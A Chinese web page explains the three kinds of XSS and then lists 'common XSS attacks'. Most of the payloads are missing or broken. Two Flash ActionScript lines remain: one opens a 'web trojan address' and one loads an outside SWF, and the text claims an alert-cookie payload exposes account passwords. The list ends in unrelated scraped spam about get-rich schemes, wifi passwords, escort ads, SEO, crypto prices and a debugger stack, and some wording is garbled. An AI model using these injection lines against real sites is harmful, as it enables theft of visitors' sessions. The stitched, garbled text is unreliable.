一、什么是XSS?
XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。
二、XSS分类
XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS
反射型XSS
发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。
存储型XSS
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码
最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。
DOM XSS
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
附常见的XSS攻击 ***
1、这个应该都知道
常用于测试 是否存在跨站
2、
这句代码将会弹出壹个包含有浏览者cookie信息的对话框,如果用户已经通过帐号登陆网站,在显示的cookie信息中将会包含有用户的账户名和密码。
3、,当用户浏览该 页时,将弹出壹个高爲200,宽爲200的网页窗口,在其中打开的页面是http://www.pete.cn/default.asp
4、跨站攻击的形式是多样的,不仅可以在网页中插入跨站脚本代码,而且可以在flash文件中插入跨站脚本代码,实现跨站攻击。由于flash文件有较高 的安全性,用户通常对flash文件的警惕性不够,因此用flash文件进行跨站攻击的成功率很高。如果将这个含有跨站脚本代码的flash文件插入到网 页中,例如 *** 成网页banner或者广告,那么中招的用户将更多。
flash跨站是通过在flash文件中插入动作脚本来实现的,通过在flash文件“帧”的“动作”中插入跨站脚本代码来实现跨站攻击,其实现 *** 入下:
首先运行flash文件 *** 工具flash8.exe,新建壹个空白的flash文档。然后选中其中的第壹帧,进入界面下方的“动作”编辑界面,在Action Script中插入我们的跨站脚本代码
getURL(http://网页木马地址, _blank, GET);
loadMovieNum(http://www.pete.cn/test.swf, 0);
5、< iframe>
这就是 传说中的框架 - - 膜拜吧 还有 *** 也可以使用,比框架更隐蔽
6、Refresh到另壹个页面:
1 |
完全免费一天赚一千元(没有钱怎么挣钱较为快)现代社会,物质文化高宽比发展趋势的今日,也产生了財富的爆发。有的富商无缘无故就月入二十亿,过得很痛楚;再不济的也是月入十万就跟玩一样。觉得在我国就仿佛到...
电脑鼠标右键单击此电脑,挑选特性,点一下操作面板首页,选择和共享中心,点一下已连接的wifi网络,弹出对话框,点一下无线网络特性,转换到安全性选择项栏中,启用显示,wifi登陆密码便会在互联网安全密钥...
澳门出游遇到土豪朋友带着深圳高端商务陪伴小学妹经【吕亚】,上海是一座成功人士的聚集地,对商业模特的需求也是比较大的,今天明星商务分享模特访梦,年龄上海 女 25,婚姻:未婚,学历:高中,气质:澳门出游...
关键词选定是SEO最基本点的工作,在其他工作之前先要确定好关键词,因为所有的网站优化都是围绕关键词来进行的,所以关键词在SEO工作中至关重要,下面广州网站建设分享关键词的意义主要提现在哪些方面? 一...
EOS主网上线后市场没有起色,价格一直在10美元上方徘徊,让不少币友很失望。 从EOS主网上线前钱包地址超过33万可以看出,很多人都是出于囤币的想法持有EOS的。 但是价格上不去,难道就只有等待一...
02 00000000`000ac640 00000001`3fe673e4 windbg!CmdExecuteCmd+0x1de 咱们在2019年第一季度的陈述中还说到海莲花安排选用灵敏内容主题垂钓...